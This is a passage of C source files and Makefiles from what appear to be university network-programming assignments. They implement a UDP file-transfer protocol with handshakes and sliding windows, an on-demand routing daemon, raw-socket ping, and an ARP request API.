sockAddr.sll_halen = ETH_ALEN; sockAddr.sll_ifindex = 2; memcpy(sockAddr.sll_addr, destMAC, ETH_ALEN); // Send PING Request #if DEBUG printf("Sending a PING packet to VM%d\n", destVMNode); printPingPacket(&packet); #endif Sendto(sockfd, (void *) &packet, sizeof(packet), 0, (SA *) &sockAddr, sizeof(sockAddr)); return TRUE; } int sendPingRequests(int sockfd, bool *pingStatus, IA hostIP, char *hostMAC, int specific) { if (specific != -1) { assert(pingStatus[specific] && "Ping Status should be enable"); if (!sendPingPacket(sockfd, specific, hostIP, hostMAC)) pingStatus[specific] = FALSE; } else { int i; for (i = 1; i <= MAX_NODES; i++) { if (pingStatus[i]) { if (!sendPingPacket(sockfd, i, hostIP, hostMAC)) pingStatus[i] = FALSE; } } } } bool recvPingReply(int sockfd) { PingIPPacket packet; double rtt; struct ip *ip; struct icmp *icmp; struct timeval *tvsend, *tvrecv, tval; int iplen, icmplen, nbytes; Gettimeofday(&tval, NULL); tvrecv = &tval; nbytes = Recvfrom(sockfd, &packet, sizeof(packet), 0, NULL, NULL); #if DEBUG printf("Receiving PING Reply\n"); #endif ip = &packet.iphead; icmp = &packet.icmphead; iplen = ip->ip_hl << 2; /* malformed packet */ if ((icmplen = nbytes - iplen) < 8) return FALSE; /* not a response to our ECHO_REQUEST */ if (ntohs(icmp->icmp_id) != PING_REQ_ID) return FALSE; /* not enough data to use */ if (icmplen < 16) return FALSE; tvsend = (struct timeval *) icmp->icmp_data; tv_sub(tvrecv, tvsend); rtt = tvrecv->tv_sec * 1000.0 + tvrecv->tv_usec / 1000.0; printf("\n%d bytes from %s: seq=%u, ttl=%d, rtt=%.3f ms\n", icmplen, getIPStrByIPAddr(ip->ip_src), ntohs(icmp->icmp_seq), ip->ip_ttl, rtt); return TRUE; } <file_sep>/A3/odr.h #ifndef _ODR_H #define _ODR_H #define PROTOCOL_NUMBER 0x5454 #define IPLEN 30 // bytes #define MACLEN 6 // bytes #define MAX_PAYLOAD_LEN 100 // bytes #define FP_MAP_STALE_VAL 5.0 // sec #define TTL_HOP_COUNT 10 // hops #define FIRST_CLI_PORTNO 4000 #define FIRST_BCAST_ID 8000 // Packet Type typedef enum { RREQ, RREP, DATA } packetType; // ODR Packet typedef struct { packetType type; char sourceIP[IPLEN]; char destIP[IPLEN]; uint32_t sourcePort; uint32_t destPort; uint32_t hopCount; uint32_t broadID; char Asent; char forceRedisc; char data[MAX_PAYLOAD_LEN]; } ODRPacket; //Ethernet Frame typedef struct { uint8_t destMAC[MACLEN]; uint8_t sourceMAC[MACLEN]; uint16_t protocol; ODRPacket packet; } EthernetFrame; typedef struct { int ifaceNum; int ifaceSocket; uint8_t ifaceMAC[MACLEN]; } IfaceInfo; typedef struct WaitingPacket { ODRPacket packet; struct WaitingPacket *next; } WaitingPacket; // Routing Table typedef struct { bool isValid; uint32_t broadID; uint32_t ifaceInd; uint8_t nextHopMAC[MACLEN]; uint32_t hopCount; time_t timeStamp; WaitingPacket* waitListHead; } RoutingTable; // The index of the routingTable array will give the destination index typedef struct { char filePath[1024]; int portNo; time_t timestamp; bool isValid; } FilePortMap; extern char filePath[1024], hostNode, hostIP[100]; void initFilePortMap(); int processUnixPacket(int sockfd, ODRPacket *packet); int getNextBroadCastID(); int writeUnixSocket(int sockfd, char *srcIP, int srcPort, int destPort, char *msg); #endif /* !_ODR_H */ <file_sep>/A2/client.h #ifndef _CLIENT_H #define _CLIENT_H #include "common.h" typedef struct rec_window_node { TcpPckt packet; // Packet received int dataSize; // Length of data in packet int isPresent; // If any packet is present at this node } RecWinNode; typedef struct rec_window_queue { RecWinNode *wnode; // Receiving window containing packets int winSize; // Total receiving window size int advertisedWin; // Advertised window Size int nextSeqExpected; // Next expected sequence number int consumerSeqNum; // Seq num at which consumer will start reading } RecWinQueue; extern float in_packet_loss; extern int in_read_delay; int writeWithPacketDrops(int fd, void *ptr, size_t nbytes, char *msg); int readWithPacketDrops(int fd, TcpPckt *packet, size_t nbytes, char *msg); int initializeRecWinQ(RecWinQueue *RecWinQ, TcpPckt *firstPacket, int packetSize, int recWinSize); int fileTransfer(int *sockfd, RecWinQueue *RecWinQ); void terminateConnection(int sockfd, RecWinQueue *RecWinQ, TcpPckt *packet, int len); #endif /* !_CLIENT_H */ <file_sep>/A3/Makefile CC=gcc USER=spparmar #HOME=/mnt/hgfs/SBU-Courses/NP/Assignment/code-ubuntu #HOME=/users/cse533/Stevens/unpv13e HOME=/home/sahil/netprog/unpv13e LIBS = -lpthread ${HOME}/libunp.a FLAGS = -g -O2 CFLAGS = ${FLAGS} -I${HOME}/lib all: odr_${USER} server_${USER} client_${USER} odr_${USER}: get_hw_addrs.o odr.o common.o odr_process.o ${CC} ${FLAGS} -o $@ $^ ${LIBS} odr.o: odr.c ${CC} ${CFLAGS} -c -o $@ $^ get_hw_addrs.o: get_hw_addrs.c ${CC} ${CFLAGS} -c -o $@ $^ odr_process.o: odr_process.c ${CC} ${CFLAGS} -c -o $@ $^ server_${USER}: server.o common.o api.o ${CC} ${FLAGS} -o $@ $^ ${LIBS} server.o: server.c ${CC} ${CFLAGS} -c -o $@ $^ client_${USER}: client.o common.o api.o ${CC} ${FLAGS} -o $@ $^ ${LIBS} client.o: client.c ${CC} ${CFLAGS} -c -o $@ $^ common.o: common.c ${CC} ${CFLAGS} -c -o $@ $^ api.o: api.c ${CC} ${CFLAGS} -c -o $@ $^ clean: rm -f odr_${USER} server_${USER} client_${USER} tmp-* *.o <file_sep>/A2/unprtt.h #ifndef __unp_rtt_h #define __unp_rtt_h struct rtt_info { int rtt_rtt; /* most recent measured RTT, in msec */ int rtt_srtt; /* smoothed RTT estimator, in msec */ int rtt_rttvar; /* smoothed mean deviation, in msec */ int rtt_rto; /* current RTO to use, in msec */ uint32_t rtt_base; /* # sec since 1/1/1970 at start */ }; #define RTT_RXTMIN 1000 /* min retransmit timeout value, in seconds */ #define RTT_RXTMAX 3000 /* max retransmit timeout value, in seconds */ #define RTT_MAXNREXMT 12 /* max # times to retransmit */ /* function prototypes */ void rtt_debug(struct rtt_info *); void rtt_init(struct rtt_info *); int rtt_start(struct rtt_info *); void rtt_stop(struct rtt_info *, uint32_t); int rtt_timeout(struct rtt_info *, uint32_t); uint32_t rtt_ts(struct rtt_info *); /* can be set to nonzero for addl info */ extern int rtt_d_flag; #endif /* __unp_rtt_h */ <file_sep>/A1/client.c #include "unp.h" static void sig_child(int signo) { wait(NULL); return; } static struct hostent* getHostInfoByNameOrAddr(char *host, char *hostAddr) { struct hostent *hostInfo = NULL; struct in_addr ipInfo; if (inet_pton(AF_INET, host, &ipInfo) > 0) { hostInfo = gethostbyaddr(&ipInfo, sizeof(ipInfo), AF_INET); } else { hostInfo = gethostbyname(host); } if (hostInfo != NULL) { if (inet_ntop(AF_INET, hostInfo->h_addr, hostAddr, INET_ADDRSTRLEN) > 0) { return hostInfo; } } // No valid hostname/ipaddress found return NULL; } int main(int argc, char **argv) { struct hostent *hostInfo; char hostAddr[INET_ADDRSTRLEN] = ""; if (argc != 2) { err_quit("usage: \"client <IPAddress/HostName>\""); } if ((hostInfo = getHostInfoByNameOrAddr(argv[1], hostAddr)) == NULL) { err_quit("Invalid Server HostName/IPAddress - %s", argv[1]); } // Valid hostName/hostAddr found printf("The server host is -> %s (%s)\n", hostInfo->h_name, hostAddr); Signal(SIGCHLD, sig_child); while (1) { int serviceOption, pid; int pipefd[2]; while(1) { printf("\nServices\n"); printf("===============\n"); printf("1. Echo Service\n"); printf("2. Time Service\n"); printf("3. Exit\n"); printf("Enter your option: "); if (scanf("%d", &serviceOption) != 1) { // invalid option char dummyBuf[MAXLINE]; Fgets(dummyBuf, MAXLINE, stdin); } else if (serviceOption == 1 || serviceOption == 2) { // echo/time service requested break; } else if (serviceOption == 3) { // client exit printf("\nThank you!\n"); return 0; } err_msg("\nInvalid option!"); } if (pipe(pipefd) == -1) { err_sys("pipe creation failed"); } if ((pid = fork()) < 0) { err_sys("child process creation failed"); } if (pid == 0) { // child process char writefd[5]; Close(pipefd[0]); snprintf(writefd, 5, "%d", pipefd[1]); if (serviceOption == 1) { execlp("xterm", "xterm", "-e", "./echo_cli", hostAddr, writefd, (char *) 0); } else { execlp("xterm", "xterm", "-e", "./time_cli", hostAddr, writefd, (char *) 0); } } else { // parent process int n, maxfd; fd_set readfds; Close(pipefd[1]); maxfd = pipefd[0] + 1; FD_ZERO(&readfds); while (1) { char recvBuf[MAXLINE]; int len; FD_SET(fileno(stdin), &readfds); FD_SET(pipefd[0], &readfds); if (select(maxfd, &readfds, NULL, NULL, NULL) < 0) { if (errno == EINTR) { err_msg("\nClient termination due to errno = %s", strerror(errno)); break; } else { err_sys("select error on stdin and pipefd"); } } if (FD_ISSET(fileno(stdin), &readfds)) { Fgets(recvBuf, MAXLINE, stdin); err_msg("You are trying to interact with parent process." "Please interact with child process"); } if (FD_ISSET(pipefd[0], &readfds)) { if ((len = read(pipefd[0], recvBuf, MAXLINE)) > 0) { recvBuf[len] = '\0'; if (fputs(recvBuf, stdout) == EOF) { err_sys("fputs stdout error"); } break; } } } Close(pipefd[0]); } } return 0; } <file_sep>/A2/server.c #include "server.h" static int in_port_no, in_window_size; static ClientRequest *Head = NULL; static void sig_child(int signo) { // Remove child entry from the linkedlist ClientRequest *cur = Head; ClientRequest *prev = NULL; pid_t pid = wait(NULL); while (cur != NULL) { if (cur->childpid == pid) { // remove this entry if (Head == cur) Head = cur->next; else prev = cur->next; printf(KRED "\nChild deleted => Pid: %d" RESET "\n", pid); free(cur); return; } prev = cur; cur = cur->next; } printf("ERROR!! Unable to find a record for child with pid:%d \n",pid); return; } static int initializeParams() { char data[MAXLINE]; FILE *inp_file = fopen(SERVER_IN, "r"); if (inp_file == NULL) { err_quit("Unknown server argument file: '%s'\n", SERVER_IN); } in_port_no = getIntParamValue(inp_file); in_window_size = getIntParamValue(inp_file); Fclose(inp_file); } static int* bindAllInterfaces(struct ifi_info *ifihead, int totalIP) { struct ifi_info *ifi; struct sockaddr_in servaddr; int *sockfd; int i; sockfd = (int *) Malloc(totalIP * sizeof(int)); for (i = 0, ifi = ifihead; ifi != NULL; ifi = ifi->ifi_next) { sockfd[i] = Socket(AF_INET, SOCK_DGRAM, 0); bzero(&servaddr, sizeof(servaddr)); servaddr = *(struct sockaddr_in *)ifi->ifi_addr; servaddr.sin_port = htons(in_port_no); Bind(sockfd[i++], (SA *)&servaddr, sizeof(servaddr)); } return sockfd; } static int compare_address(struct sockaddr_in *prev_req, struct sockaddr_in *new_req) { if ((prev_req->sin_addr.s_addr != new_req->sin_addr.s_addr) || // Check the IP Address (prev_req->sin_port != new_req->sin_port) || // Check the Port Number (prev_req->sin_family != new_req->sin_family)) // Check the Address family { return 1; // New Request } else { return 0; // Duplicate Request } } static ClientRequest* searchAndUpdateClientList(struct sockaddr_in cliaddr) { ClientRequest *cur = Head; // Check if it is a duplicate request while(cur != NULL) { if (compare_address(&(cur->cliaddr), &cliaddr) == 0) return NULL; cur = cur->next; } // Create a node if the entry is not present ClientRequest *new_node = (ClientRequest*) Malloc(sizeof(ClientRequest)); new_node->cliaddr = cliaddr; new_node->next = Head; Head = new_node; // update head node return new_node; } static sigjmp_buf jmpbuf; static void sig_alarm(int signo) { siglongjmp(jmpbuf, 1); } static pid_t serveNewClient(struct sockaddr_in cliaddr, int *sock_fd, int req_sock, int total_IP, char* fileName, int isLocal) { pid_t pid; // Child process if ((pid = Fork()) == 0) { /* Child would close all the socket descriptor except one * Next it would create a new socket and send a second handshake * to the client with the new socket in the payload. * It would also start a new timer for the second handshake */ // Close all the sockets except the one where request arrived int i; for (i = 0; i < total_IP; i++ ) { if (i != req_sock) Close(sock_fd[i]); } struct sockaddr_in servAddr; SendWinQueue SendWinQ; TcpPckt packet; char sendBuf[MAX_PAYLOAD+1], recvBuf[MAX_PAYLOAD+1]; char errMsg[MAX_PAYLOAD+1] = ""; uint32_t seqNum, ackNum, winSize, timestamp, retransmitCnt; int len, connFd, newChildPortNo, send2HSFromConnFd; struct rtt_info rttInfo; struct itimerval timer; // To get server IP address len = sizeof(struct sockaddr_in); Getsockname(sock_fd[req_sock], (SA *) &servAddr, &len); printf("\nUsing Server IP:Port => %s\n", Sock_ntop((SA *) &servAddr, sizeof(struct sockaddr_in))); // Create a new connection socket connFd = Socket(AF_INET, SOCK_DGRAM, 0); // Set socket option -> SO_DONTROUTE if client is local if (isLocal) { int optVal = 1; Setsockopt(connFd, SOL_SOCKET, SO_DONTROUTE, &optVal, sizeof(optVal)); } // Bind connection socket servAddr.sin_port = 0; // Choose a new port number Bind(connFd, (SA *)&servAddr, sizeof(servAddr)); // Get new port number for connection socket Getsockname(connFd, (SA *) &servAddr, &len); newChildPortNo = ntohs(servAddr.sin_port); sprintf(sendBuf, "%d", newChildPortNo); send2HSFromConnFd = 0; Signal(SIGALRM, sig_alarm); rtt_init(&rttInfo); retransmitCnt = 0; send2HSAgain: // Send second handshake len = fillPckt(&packet, SYN_ACK_SEQ_NO, ACK_SEQ_NO, 0, sendBuf, MAX_PAYLOAD); printf(KYEL); printf("\nSecond HS sent from Listening Socket => New Conn Port No: %s\n" , packet.data); Sendto(sock_fd[req_sock], &packet, len, 0, (SA *) &cliaddr, sizeof(cliaddr)); if (send2HSFromConnFd) { printf("Second HS sent from Conn Socket => New Conn Port No: %s\n", packet.data); Sendto(connFd, &packet, len, 0, (SA *) &cliaddr, sizeof(cliaddr)); } printf(RESET); timestamp = rtt_ts(&rttInfo); retransmitCnt++; setTimer(&timer, rtt_start(&rttInfo)); if (sigsetjmp(jmpbuf, 1) != 0) { printf(KRED "Receving Third HS => TIMEOUT\n" RESET); if (rtt_timeout(&rttInfo, retransmitCnt)) { char *str = "\nServer Child Terminated due to 12 Timeouts"; printf(KRED); err_msg(str); printf(RESET); strcpy(errMsg, str); goto error; } send2HSFromConnFd = 1; goto send2HSAgain; } // Receive third Handshake len = Recvfrom(connFd, &packet, DATAGRAM_SIZE, 0, NULL, NULL); setTimer(&timer, 0); rtt_stop(&rttInfo, timestamp); readPckt(&packet, len, &seqNum, &ackNum, &winSize, recvBuf); printf(KYEL "\nThird HS received => ACK num: %d\t Advertised Win: %d\n" RESET, ackNum, winSize); printf(KGRN "Connection Establised Successfully\n" RESET); // Connect to Client addr Connect(connFd, (SA *) &cliaddr, sizeof(cliaddr)); Close(sock_fd[req_sock]); int fileFd; if ((fileFd = open(fileName, O_RDONLY)) == -1) { char *str = "\nServer Child Terminated due to Invalid FileName"; printf(KRED); err_msg(str); printf(RESET); strcpy(errMsg, str); goto error; } initializeSendWinQ(&SendWinQ, in_window_size, winSize, ackNum); sendFile(&SendWinQ, connFd, fileFd, rttInfo); error: terminateConnection(connFd, errMsg); exit(0); } // End - Child Process return pid; } static int listenAllConnections(struct ifi_info *ifihead, int *sockfd, int totalIP) { sigset_t sigset; fd_set fixedFdset, varFdset; int maxfd = sockfd[totalIP-1] + 1; int i, n; TcpPckt packet; uint32_t seqNum, ackNum, winSize; char recvBuf[MAX_PAYLOAD+1]; FD_ZERO(&fixedFdset); for (i = 0 ; i < totalIP; i++) FD_SET(sockfd[i], &fixedFdset); Signal(SIGCHLD, sig_child); sigemptyset(&sigset); sigaddset(&sigset, SIGCHLD); while (1) { // Listen using select on all sockets varFdset = fixedFdset; if (select(maxfd, &varFdset, NULL, NULL, NULL) < 0) { if (errno == EINTR) { // Retry select() if interupted by signal handler of SIGCHLD continue; } else { err_sys("Server termination due to error on select()"); } } // Check which Socket got packets for (i = 0 ; i < totalIP; i++) { if (FD_ISSET(sockfd[i], &varFdset)) { struct sockaddr_in cliaddr; socklen_t len = sizeof(cliaddr); n = Recvfrom(sockfd[i], &packet, DATAGRAM_SIZE, 0, (SA *)&cliaddr, &len); readPckt(&packet, n, &seqNum, &ackNum, &winSize, recvBuf); if (searchAndUpdateClientList(cliaddr) != NULL) { int isLocal = verifyIfLocalAndGetHostIP(ifihead, &cliaddr.sin_addr, NULL); printf("\nNew request from client %son Local Interface => %s\n", isLocal == 0 ? "Not " : "", Sock_ntop((SA *) &cliaddr, sizeof(struct sockaddr_in))); printf(KYEL "First HS received => fileName: %s\n" RESET, recvBuf); // Block SIGCHLD until parent sets child pid in ClientRequest list sigprocmask(SIG_BLOCK, &sigset, NULL); Head->childpid = serveNewClient(cliaddr, sockfd, i, totalIP, recvBuf, isLocal); sigprocmask(SIG_UNBLOCK, &sigset, NULL); } } } } } int main() { struct ifi_info *ifihead; int *sockfd, totalIP; initializeParams(); // Get all interfaces ifihead = Get_ifi_info_plus(AF_INET, 1/*doalias*/); totalIP = print_ifi_info_plus(ifihead); sockfd = bindAllInterfaces(ifihead, totalIP); listenAllConnections(ifihead, sockfd, totalIP); free_ifi_info_plus(ifihead); exit(0); } <file_sep>/A2/test.c #include <stdio.h> #include <stdlib.h> #include <string.h> #define PAYLOAD_SIZE 512 // Redirect output to some file => ./a.out 1000 >file.txt int main(int argc, char *argv[]) { int i, j; char buf[1000]; if (argc != 2) { printf("Please enter number of data payloads to be generated!\n"); exit(1); } for (i = 1; i <= atoi(argv[1]); i++) { printf("%d", i); sprintf(buf, "%d", i); for (j = strlen(buf) + 1; j < PAYLOAD_SIZE; j++) printf("."); printf("\n"); } } <file_sep>/A3/common.c #include "common.h" int getVmNodeByIP(char *ip) { struct hostent *hostInfo = NULL; struct in_addr ipInfo; int node = 0; if (inet_pton(AF_INET, ip, &ipInfo) > 0) { hostInfo = gethostbyaddr(&ipInfo, sizeof(ipInfo), AF_INET); sscanf(hostInfo->h_name, "vm%d", &node); } return node; } char* getIPByVmNode(char *ip, int node) { struct hostent *hostInfo = NULL; char hostName[100]; sprintf(hostName, "vm%d", node); hostInfo = gethostbyname(hostName); if (hostInfo && inet_ntop(AF_INET, hostInfo->h_addr, ip, INET_ADDRSTRLEN)) return ip; else return NULL; } char* getFullPath(char *fullPath, char *fileName, int size, bool isTemp) { if (getcwd(fullPath, size) == NULL) { err_msg("Unable to get pwd via getcwd()"); } strcat(fullPath, fileName); if (isTemp) { if (mkstemp(fullPath) == -1) { err_msg("Unable to get temp file via mkstemp()"); } } return fullPath; } int getHostVmNodeNo() { char hostname[1024]; int nodeNo; gethostname(hostname, 10); nodeNo = atoi(hostname+2); if (nodeNo < 1 || nodeNo > 10) { err_msg("Warning: Invalid hostname '%s'", hostname); } return nodeNo; } int createAndBindUnixSocket(char *filePath) { struct sockaddr_un sockAddr; int sockfd; sockfd = Socket(AF_LOCAL, SOCK_DGRAM, 0); bzero(&sockAddr, sizeof(sockAddr)); sockAddr.sun_family = AF_LOCAL; strcpy(sockAddr.sun_path, filePath); unlink(filePath); Bind(sockfd, (SA*) &sockAddr, sizeof(sockAddr)); return sockfd; } <file_sep>/A3/server.c #include "common.h" static char filePath[1024], hostNode, hostIP[100]; static void sig_int(int signo) { unlink(filePath); exit(0); } int main() { char buffer[1024]; struct sockaddr_un serAddr; int sockfd; getFullPath(filePath, SER_FILE, sizeof(filePath), FALSE); sockfd = createAndBindUnixSocket(filePath); hostNode = getHostVmNodeNo(); getIPByVmNode(hostIP, hostNode); printf("Server running on VM%d (%s)\n", hostNode, hostIP); Signal(SIGINT, sig_int); while (1) { char clientIP[100]; int clientPort; time_t ticks; msg_recv(sockfd, buffer, clientIP, &clientPort); // Get current time and store in buffer ticks = time(NULL); snprintf(buffer, sizeof(buffer), "%.24s", ctime(&ticks)); printf("Server at node VM%d: responding to request from VM%d\n", hostNode, getVmNodeByIP(clientIP)); msg_send(sockfd, clientIP, clientPort, buffer, FALSE); } Close(sockfd); } <file_sep>/A1/Makefile CC = gcc #HOME=/home/courses/cse533/Stevens/unpv13e_solaris2.10 HOME=/home/sahil/netprog/unpv13e #-lsocket LIBS = -lresolv -lnsl -lpthread\ ${HOME}/libunp.a\ FLAGS = -g -O2 CFLAGS = ${FLAGS} -I${HOME}/lib all: client server echo_cli time_cli time_cli: time_cli.o ${CC} ${FLAGS} -o time_cli time_cli.o ${LIBS} time_cli.o: time_cli.c ${CC} ${CFLAGS} -c time_cli.c echo_cli: echo_cli.o ${CC} ${FLAGS} -o echo_cli echo_cli.o ${LIBS} echo_cli.o: echo_cli.c ${CC} ${CFLAGS} -c echo_cli.c # server uses the thread-safe version of readline.c server: server.o readline.o ${CC} ${FLAGS} -o server server.o readline.o ${LIBS} server.o: server.c ${CC} ${CFLAGS} -c server.c client: client.o ${CC} ${FLAGS} -o client client.o ${LIBS} client.o: client.c ${CC} ${CFLAGS} -c client.c # pick up the thread-safe version of readline.c from directory "threads" readline.o: ${HOME}/threads/readline.c ${CC} ${CFLAGS} -c ${HOME}/threads/readline.c clean: rm -f echo_cli echo_cli.o server server.o client client.o time_cli time_cli.o readline.o <file_sep>/A4/tour_api.c #include "tour.h" #include "api.h" static int createAndConnectUnixSocket() { struct sockaddr_un servAddr; char filePath[1024]; int sockfd; sockfd = Socket(AF_LOCAL, SOCK_STREAM, 0); bzero(&servAddr, sizeof(servAddr)); servAddr.sun_family = AF_LOCAL; getFullPath(filePath, ARP_FILE, sizeof(filePath), FALSE); strcpy(servAddr.sun_path, filePath); if (connect(sockfd, (SA *) &servAddr, sizeof(servAddr)) < 0) { return -1; } return sockfd; } static void writeUnixSocket(int sockfd, IA destIPAddr, int ifindex, uint16_t hatype, uint8_t halen) { SendToARP writeData; writeData.ipaddr.s_addr = destIPAddr.s_addr; writeData.ifindex = ifindex; writeData.hatype = hatype; writeData.halen = halen; Writen(sockfd, &writeData, sizeof(writeData)); } static void readUnixSocket(int sockfd, char *hwaddr) { ReceiveFromARP readData; Read(sockfd, &readData, sizeof(readData)); memcpy(hwaddr, &readData, IF_HADDR); } int areq(SA *IPaddr, socklen_t salen, HWAddr *hwaddr) { int sockfd; fd_set readfds; struct timeval timeout; if ((sockfd = createAndConnectUnixSocket()) == -1) { err_msg("Unable to connect to ARP Unix Domain Socket"); return -1; } // Send AREQ to ARP module printf("AREQ Request for IP: %s sent\n", getIPStrByIPAddr(((struct sockaddr_in*) IPaddr)->sin_addr)); writeUnixSocket(sockfd, ((struct sockaddr_in*) IPaddr)->sin_addr, hwaddr->sll_ifindex, hwaddr->sll_hatype, hwaddr->sll_halen); FD_ZERO(&readfds); FD_SET(sockfd, &readfds); timeout.tv_sec = AREQ_TIMEOUT; timeout.tv_usec = 0; if (Select(sockfd + 1, &readfds, NULL, NULL, &timeout) == 0) { // AREQ timeout close(sockfd); err_msg("AREQ Reply Timeout: Unable to fetch HW Address"); return -1; } // Receive ARP response readUnixSocket(sockfd, hwaddr->sll_addr); printf("AREQ Reply Success => HW Address: %s\n", ethAddrNtoP(hwaddr->sll_addr)); close(sockfd); return 0; } <file_sep>/A3/common.h #ifndef _COMMON_H #define _COMMON_H #include <assert.h> #include <setjmp.h> #include "unp.h" #define _1TAB "\t" #define _2TABS "\t\t" #define _3TABS "\t\t\t" #define _4TABS "\t\t\t\t" #define KRED "\x1B[31m" #define KGRN "\x1B[32m" #define KYEL "\x1B[33m" #define KBLU "\x1B[34m" #define KMAG "\x1B[35m" #define KCYM "\x1B[36m" #define KWHT "\x1B[37m" #define RESET "\033[0m" #define ODR_FILE "/tmp-odr" #define SER_FILE "/tmp-server" #define CLI_FILE "/tmp-client-XXXXXX" #define SER_PORT 13 #define CLI_TIMEOUT 5 #define TOTAL_VMS 10 typedef enum { TRUE = 1, FALSE = 0 } bool; char* getFullPath(char *fullPath, char *fileName, int size, bool isTemp); int getVmNodeByIP(char *ip); char* getIPByVmNode(char *ip, int node); int getHostVmNodeNo(); int createAndBindUnixSocket(char *filePath); #endif /* !_COMMON_H */ <file_sep>/A2/client.c #include "client.h" #include "time.h" static char in_server_ip[PARAM_SIZE]; // Server IP static int in_server_port; // Server PortNo static char in_file_name[PARAM_SIZE]; // FileName to be transfered static int in_receive_win; // Size of receiving sliding window static int in_random_seed; // Random Gen Seed Value float in_packet_loss; // Probability of packet loss int in_read_delay; // mean millisec at which client reads data from receving window static void parseClientParams() { FILE *inp_file = fopen(CLIENT_IN, "r"); // Read input parameters if (inp_file != NULL) { getStringParamValue(inp_file, in_server_ip); in_server_port = getIntParamValue(inp_file); getStringParamValue(inp_file, in_file_name); in_receive_win = getIntParamValue(inp_file); in_random_seed = getIntParamValue(inp_file); in_packet_loss = getFloatParamValue(inp_file); in_read_delay = getIntParamValue(inp_file); Fclose(inp_file); } else { err_quit("Unknown client argument file: '%s'", CLIENT_IN); } } static struct hostent* getHostInfoByAddr(char *hostip) { struct hostent *hostInfo = NULL; struct in_addr ipInfo; if (inet_pton(AF_INET, hostip, &ipInfo) > 0) { hostInfo = gethostbyaddr(&ipInfo, sizeof(ipInfo), AF_INET); } return hostInfo; } static int verifyIfLocalAndGetClientIP(struct in_addr *server_ip, struct in_addr *client_ip) { struct ifi_info *ifihead; int isLocal; ifihead = Get_ifi_info_plus(AF_INET, 1); print_ifi_info_plus(ifihead); isLocal = verifyIfLocalAndGetHostIP(ifihead, server_ip, client_ip); free_ifi_info_plus(ifihead); return isLocal; } static int bindAndConnect(struct sockaddr_in *servAddr, struct in_addr client_ip, int isLocal) { struct sockaddr_in cliAddr; char buf[INET_ADDRSTRLEN]; int sockfd, n; sockfd = Socket(AF_INET, SOCK_DGRAM, 0); // Set socket option -> SO_DONTROUTE if server is local if (isLocal) { int optVal = 1; Setsockopt(sockfd, SOL_SOCKET, SO_DONTROUTE, &optVal, sizeof(optVal)); } bzero(&cliAddr, sizeof(cliAddr)); cliAddr.sin_family = AF_INET; cliAddr.sin_addr = client_ip; cliAddr.sin_port = 0; Bind(sockfd, (SA *)&cliAddr, sizeof(cliAddr)); n = sizeof(cliAddr); Getsockname(sockfd, (SA *)&cliAddr, &n); printf("Client IP => %s, Port => %d\n", inet_ntop(AF_INET, &cliAddr.sin_addr, buf, INET_ADDRSTRLEN), ntohs(cliAddr.sin_port)); n = sizeof(*servAddr); Connect(sockfd, (SA *) servAddr, n); Getpeername(sockfd, (SA *)servAddr, &n); printf("Server IP => %s, Port => %d\n\n", inet_ntop(AF_INET, &servAddr->sin_addr, buf, INET_ADDRSTRLEN), ntohs(servAddr->sin_port)); return sockfd; } static sigjmp_buf jmpFor2HS; static void sig_alarm(int signo) { siglongjmp(jmpFor2HS, 1); } static int handshake(int sockfd, struct sockaddr_in servAddr, RecWinQueue *RecWinQ) { TcpPckt packet; uint32_t seqNum, ackNum, winSize; char recvBuf[MAX_PAYLOAD+1]; int newPortNo, retransmitCount, len; struct itimerval timer; Signal(SIGALRM, sig_alarm); retransmitCount = 0; send1HSAgain: // Send 1st HS seqNum = SYN_SEQ_NO; ackNum = SYN_ACK_SEQ_NO; winSize = in_receive_win; fillPckt(&packet, seqNum, ackNum, winSize, in_file_name, strlen(in_file_name)); writeWithPacketDrops(sockfd, &packet, HEADER_LEN+strlen(in_file_name), "Sending 1st HS (SYN)\t"); ++retransmitCount; setTimer(&timer, CLIENT_TIMER); if (sigsetjmp(jmpFor2HS, 1) != 0) { printf("\nReceiving 2nd HS (SYN-ACK): " _4TABS KRED "\tTimeout\n" RESET); if (retransmitCount >= MAX_RETRANSMIT) { err_quit("Client Terminated due to 12 Timeouts"); } goto send1HSAgain; } // Receive 2nd HS len = readWithPacketDrops(sockfd, &packet, DATAGRAM_SIZE, "Receiving 2nd HS (SYN-ACK)"); readPckt(&packet, len, &seqNum, &ackNum, &winSize, recvBuf); setTimer(&timer, 0); newPortNo = atoi(recvBuf); // Reconnect to new port number printf("\nReconnecting socket to new Port No => %d\n", newPortNo); servAddr.sin_port = htons(newPortNo); Connect(sockfd, (SA *) &servAddr, sizeof(servAddr)); send3HSAgain: // Send 3rd HS seqNum = ACK_SEQ_NO; ackNum = DATA_SEQ_NO; winSize = in_receive_win; fillPckt(&packet, seqNum, ackNum, winSize, NULL, 0); writeWithPacketDrops(sockfd, &packet, HEADER_LEN, "Sending 3rd HS (ACK)\t"); len = readWithPacketDrops(sockfd, &packet, DATAGRAM_SIZE, "Receiving 1st file packet"); readPckt(&packet, len, &seqNum, &ackNum, &winSize, recvBuf); // Verify if packet is for 2HS or 1st file packet if (seqNum == SYN_ACK_SEQ_NO) { printf(KYEL "2HS from Server\n" RESET); goto send3HSAgain; } // Initialize Receiving Window if (initializeRecWinQ(RecWinQ, &packet, len, in_receive_win) == FIN_SEQ_NO) { // Received FIN - terminate connection terminateConnection(sockfd, RecWinQ, &packet, len); exit(0); } sendAck(RecWinQ, sockfd); } int main() { struct hostent *hostInfo; struct in_addr client_ip; struct sockaddr_in servAddr; RecWinQueue RecWinQ; int sockfd, isLocal; // Read input parameters parseClientParams(); if ((hostInfo = getHostInfoByAddr(in_server_ip)) == NULL) { err_quit("Invalid Server IPAddress - %s", in_server_ip); } printf("The server host is -> %s (%s)\n", hostInfo->h_name, in_server_ip); // Get Client IP Address if ((isLocal = verifyIfLocalAndGetClientIP((struct in_addr*) hostInfo->h_addr, &client_ip)) == -1) { err_quit("No interface found!\n"); } else if (isLocal == 1) { printf("Server found on Local Interface:\n"); } else { printf("Server Not found on Local Interface:\n"); } bzero(&servAddr, sizeof(servAddr)); servAddr.sin_family = AF_INET; servAddr.sin_addr = *(struct in_addr*) hostInfo->h_addr; servAddr.sin_port = htons(in_server_port); sockfd = bindAndConnect(&servAddr, client_ip, isLocal); srand48(in_random_seed); // 3 way Handshake handshake(sockfd, servAddr, &RecWinQ); // Begin file transfer fileTransfer(&sockfd, &RecWinQ); return 0; } <file_sep>/A3/api.c #include "common.h" #include "api.h" void printApiData(ApiData *data) { printf("\nAPIDATA:\n"); printf("data => %s\n", data->data); printf("IP => %s\n", data->canonicalIP); printf("PortNo => %d\n", data->port); printf("ForceRediscovery => %s\n", data->forceRediscovery ? "TRUE" : "FALSE"); } void 